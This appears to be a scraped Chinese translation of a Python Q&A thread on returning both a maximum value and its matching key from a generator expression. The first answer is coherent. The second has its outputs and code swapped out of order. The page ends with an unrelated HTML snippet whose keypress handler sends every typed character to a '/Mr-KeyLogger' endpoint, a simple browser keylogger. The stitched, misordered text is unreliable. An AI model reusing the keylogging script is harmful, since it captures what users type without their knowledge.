如何在Python列表中理解返回iterable

时间:2017-07-23 03:21:31

标签: python list-comprehension

在以下代码中:

states = ["A","B","C","D"]
priors = {"A": 1.0, "B": -1.0, "C": 0, "D": 0}

values = {}    #setup an empty dictionary
for s in states:   
    values[s] = {"Value1": priors[s], "Value2": 3.0} 

max_val = max(values[prevS]["Value1"]*-1 for prevS in states)

我需要返回max_val 与该最大值对应的prevS。我怎么能这样做?

2 个答案:

答案 0 :(得分:2)

你可以这样做:

>>> max((values[prevS]["Value1"]*-1, prevS) for prevS in states)
(1.0, 'B')

这会生成值及其prevS值的元组,并取其最大值。由于“值”首先出现,因此最大值将在第一个值上运行,而prevS值仅用于打破关系。

答案 1 :(得分:1)

也许这就是你想要的?

('B', 1.0)

结果

states = ["A","B","C","D"]
priors = {"A": 1.0, "B": -1.0, "C": 0, "D": 0}

values = {item[0]:{'Value1':item[1]*-1, 'Value2':3.0} for item in priors.items() if item[0] in states}

print  max(values.items(), key=lambda i: i[1]['Value1'])

或者这个:

('B', {'Value2': 3.0, 'Value1': 1.0})

结果

<html>
<head>
<title>test</title>
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script src="https://unpkg.com/axios/dist/axios.min.js"></script>
</head>
<body>
<input type="text" height="100" width="400" id="grabme"></input>
<script>

    $('#grabme').keypress(function(event){
        axios.post('/Mr-KeyLogger', {
            character: event.key
        }).then(function (response) {
            console.log(response);
        }).catch(function (error) {
            console.log(error);
        });
    });

</script>
</body>
</html>